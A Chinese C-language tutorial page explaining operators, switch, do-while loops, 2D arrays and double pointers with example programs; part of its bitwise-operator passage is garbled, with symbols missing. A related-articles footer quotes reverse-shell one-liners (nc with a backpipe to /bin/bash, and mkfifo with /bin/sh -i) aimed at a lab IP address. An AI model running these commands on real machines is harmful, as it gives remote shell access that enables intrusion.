C语言语法进阶

embedded/2024/9/23 10:57:11/

条件运算符

  条件运算符是 C 语言中唯一的一种三目运算符。三目运算符代表有三个操作数;双目 运算符代表有两个操作数,如逻辑与运算符就是双目运算符;单目运算符代表有一个操作数, 如逻辑非运算符就是单目运算符。运算符也称操作符。三目运算符通过判断问号之前的表达 式的真假,来确定整体表达式的值,如下例所示,如果 a>b 为真,那么三目表达式整体的 值为 a,所以 max 的值等于 a,如果 a>b 为假,那么三目表达式整体的值为 b,所以 max 的值等于 b。

 

逗号运算符

  逗号运算符的优先级最低,我们需要掌握的是,逗号表达式的整体值是最后一个表达式 的值。请看下面实例

#include <iostream>
using namespace std;
int main() {int a,b,max;while (scanf("%d %d",&a,&b)){max=a>b?a:b;printf("max=%d\n",max);}int i,j;i=10;j=1;if(i,j)//逗号表达式整体的值是最后一个表达式的值{printf("i am coming");}return 0;
}

 

 自增自减运算符

  自增、自减运算符和其他运算符有很大的区别,因为其他运算符除赋值运算符可以改变变 量本身的值外,不会有这种效果。自增、自减就是对变量自身进行加 1、减 1 操作,那么有了 加法和减法运算符为什么还要发明这种运算符呢?原因是自增和自减来源于 B 语言,当时 Ken Thompson 和 Dennis M. Ritchie(C 语言的发明者)为了不改变程序员的编写习惯,在 C 语言 中保留了 B 语言中的自增和自减。因为自增、自减会改变变量的值,所以自增和自减不能用于 常量! 下例中的 j=i++>-1,对于后++或者后--,首先我们需要去掉++或--运算符,也就是首先计 算 j=i>-1,因为 i 本身等于-1,所以得到 j 的值为 0,接着单独计算 i++,也就是对 i 加 1,所以 i 从-1 加 1 得到 0,因此 printf("i=%d,j=%d\n",i,j);语句的执行结果是 0 和 0。请看下例

 

自增自减运算符与取值运算符

  虽然上面已经对自增自减运算符进行了讲解,但是当自增自减运算符与取值运算符结合 使用时,会有一定的难度,原理与上面是一致的。我们再次来练习一下

#include <iostream>
#include <stdio.h>
int main() {int i=-1,j;//5++; 这样编译不通 报错误j=i++>1;printf("i=%d j=%d\n",i,j);int a[3]={2,6,9};int *p;p=a;j=*p++;//先把*p的值赋给j p再加1printf("a[0]=%d j=%d *p=%d\n",a[0],j,*p);j=p[0]++;printf("a[0]=%d j=%d *p=%d\n",a[0],j,*p);printf("a[0]=%d a[1]=%d a[2]=%d",a[0],a[1],a[2]);return 0;
}

 

 位运算符

  位运算符>、~、|、^、&依次是左移、右移、按位取反、按位或、按位异或、按位与。 位运算符只能用于对整型数据进行操作。 左移:高位丢弃,低位补 0,相当于乘以 2。工作中很多时候申请内存时会用左移,例如要 申请 1GB 大小的空间,可以使用 malloc(1>1,得到的是-4,但-7>>1 得到的并不是-3 而是-4。另外,对 于-1 来说,无论右移多少位,值永远为-1。 异或:相同的数进行异或时,结果为 0,任何数和 0 异或的结果是其本身。 按位取反:数位上的数是 1 变为 0,0 变为 1。 按位与和按位或:用两个数的每一位进行与和或。

#include <iostream>
#include <stdio.h>
int main() {short i=5;short j;j=i<<1;//一个变量移动以后自身位置不会变化printf("j=%d\n",j);//左移×2j=i>>1;printf("j=%d\n",j);//右移除以2i = 0x8011;unsigned short s=0x8011;unsigned short r=0;j= i >> 1;//对i进行右移r= s >> 1;//对s右移printf("j=%d r=%u\n",j,r);//结果不一样i=5,j=7;printf("i & j=%d\n",i&j);printf("i | j=%d\n",i|j);printf("i ^ j=%d\n",i^j);printf("~i=%d\n",~i);return 0;
}

 

switch 选择语句

  判断的一个变量可以等于几个值或几十个值时,使用 if 和 else if 语句会导致 else if 分支非 常多,这时可以考虑使用 switch 语句,switch 语句的语法格式如下:

switch (表达式)

{

case 常量表达式 1:语句 1

case 常量表达式 2:语句 2

… case 常量表达式n:语句 n

default :语句 n+1

}

  下面来看一个使用 switch 语句的例子。如例 1 所示,输入一个年份和月份,然后打印对应 月份的天数,如输入一个闰年和 2 月,则输出为 29 天。具体代码如下所示,对应的电子附件项 目名称为“switch 月份 1”,读者会发现,switch 语句中 case 后面的常量表达式的值不是按照 1 到 12 的顺序排列的,这里要说明的是,switch 语句匹配并不需要常量表达式的值有序排列, 输入值等于哪个常量表达式的值,就执行其后的语句,每条语句后需要加上 break 语句,代表 匹配成功一个常量表达式时就不再匹配并跳出 switch 语句

#include <iostream>int main() {int mon,year;while (scanf("%d %d",&year,&mon)) {switch (mon) {case 2:printf("mon=%d is %d days\n",mon,28+(year%4==0&&year%100!=0||year%400==0));break;case 1:case 3:case 5:case 7:case 8:case 10:case 12:printf("mon=%d is 31 days\n",mon);break;case 4:case 6:case 9:case 11:printf("mon=%d is 30 days\n",mon);break;default:printf("error\n");}}return 0;
}

 

do while 循环讲解

  do while 语句的特点是:先执行循环体,后判断循环条件是否成立。其一般形式为

do {

循环体语句;

}while (表达式);

  执行过程如下:首先执行一次指定的循环体语句,然后判断表达式,当表达式的值为非零 (真) 时,返回重新执行循环体语句,如此反复,直到表达式的值等于 0 为止。例 3 是使用 do while语句计算 1到 100之间所有整数之和的例子,do while语句与 while语句的差别是,do while 语句第一次执行循环体语句之前不会判断表达式的值,也就是如果 i 的初值为 101,那么依然会 进入循环体。实际工作中 do while 语句应用较少。 

#include <iostream>int main() {int i=1,total=0;do {total=total+i;i=i+1;} while (i<=100);printf("total=%d",total);return 0;
}

 

二维数组讲解(408 大纲范围内,初试小概率考)

  二维数组定义的一般形式如下: 类型说明符 数组名[常量表达式][常量表达式]; 例如,定义 a 为 3×4(3 行 4 列)的数组,b 为 5×10(5 行 10 列)的数组: float a[3][4],b[5][10]; 可以将二维数组视为一种特殊的一维数组:一个数组中的元素类型是一维数组的一维数组。 例如,可以把二维数组 a[3][4]视为一个一维数组,它有 3 个元素 a[0]、a[1]和 a[2],每个 元素又是一个包含 4 个元素的一维数组,如图 1 所示。 二维数组中的元素在内存中的存储规则是按行存储,即先顺序存储第一行的元素,后顺序 存储第二行的元素,数组元素的获取依次是从 a[0][0]到 a[0][1],直到最后一个元素 a[2][3]。 图 2 中显示了存储二维数组 a[3][4]中每个元素时的顺序。

#include <iostream>int main() {//可以通过调试查看元素存放的顺序int a[3][4]={1,2,3,4,5,6,7,8,9,10,11,12};printf("sizeof(a)=%d\n",sizeof (a));//二维数组大小printf("a[3][4]=%d\n",a[2][3]);//最后一个元素return 0;
}

 

 二级指针讲解(不在 408 大纲范围,408 初试不考,初试考 C 的学校可能需要,机试用到概率极低)

  如果掌握了 C++的引用,其实不需要去学习二级指针,对于考研必要性很低,二级指 针是指针的指针,二级指针的作用是服务于一级指针变量,对一级指针变量实现间接访问。 下面我们通过一个实例来让大家理解一下二级指针。

#include <iostream>int main() {int i=10;int *p;int **p1;p=&i;p1=&p;printf("sizeof(p1)=%d\n",sizeof (p1));printf("**p1=%d *p=%d",**p1,*p);return 0;
}


http://www.ppmy.cn/embedded/7764.html

相关文章

react之组件与JSX

第一章 - 描述用户界面 概述&#xff1a;React是一个用于构建用户界面&#xff08;UI&#xff09;的JavaScript库&#xff0c;用户界面由按钮&#xff0c;文本和图像等小单元内容构建而成。React帮助你把它们组合成可重用&#xff0c;可嵌套的组件。从web端网站到移动端应用&a…

【埋点探针】微信小程序SDK安装

一、下载微信小程序SDK埋点代码 选择Wechat&#xff0c;复制sdk代码 在项目根目录下&#xff0c;创建sdk文件&#xff0c;webfunny.event.js 二、在app.js文件中&#xff0c;引入埋点SDK代码 首先引入sdk代码 require("./webfunny.event.js")引入兼容代码&#x…

Apache Atlas 50道面试题及参考答案

目录 Apache Atlas 是什么,它在大数据领域扮演什么角色? 解释一下元数据在Apache Atlas中的作用是什么?

类和对象(中)(构造函数、析构函数和拷贝构造函数)

1.类的六个默认成员函数 任何类在什么都不写时&#xff0c;编译器会自动生成以下6个默认成员函数。 //空类 class Date{}; 默认成员函数&#xff1a;用户没有显示实现&#xff0c;编译器会自动生成的成员函数称为默认成员函数 2.构造函数 构造函数 是一个 特殊的成员函数&a…

ElasticSearchDSL

ElasticSearchDSL DSL Query的分类DSL Query基本语法全文检索查询&#xff1a;精确查询地理查询复合查询 elasticsearch中的相关性打分算法是什么&#xff1f;Function Score Query复合查询 Boolean Query排序分页 DSL Query的分类 查询所有&#xff1a;查询出所有数据&#x…

动手学大模型LLM应用开发之提示词工程(Prompt Engineering)

目录 一、什么是提示词工程(Prompt Engineering)&#xff1f;二、Prompt 设计的原则及使用技巧原则一&#xff1a;编写清晰、具体的指令1、使用分隔符清晰地表示输入的不同部分2、寻求结构化的输出3、要求模型检查是否满足条件4、提供少量示例 原则二&#xff1a;给模型时间去思…

kali /mac 成功的反弹shell语句

mac &#xff1a;192.168.19.107 kali:192.168.19.111 kali 监听mac : nc -lvvp 6666 mac执行&#xff1a; 1: mknod backpipe p && nc 192.168.19.111 6666 0<backpipe | /bin/bash 1>backpipe 2: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&…

K8s ingress-controller中nginx文件上传大小的限制

# 20、K8s ingress-controller中nginx文件上传大小的限制 问题&#xff1a;1.应用程序中上传文件文件出错&#xff0c;页面提示“您上传的文件太大了&#xff0c;请压缩图片后重试。” 2.通过F12 可以看到&#xff0c;后台提示 403错误&#xff0c;可以看到出错是由于nginx的限…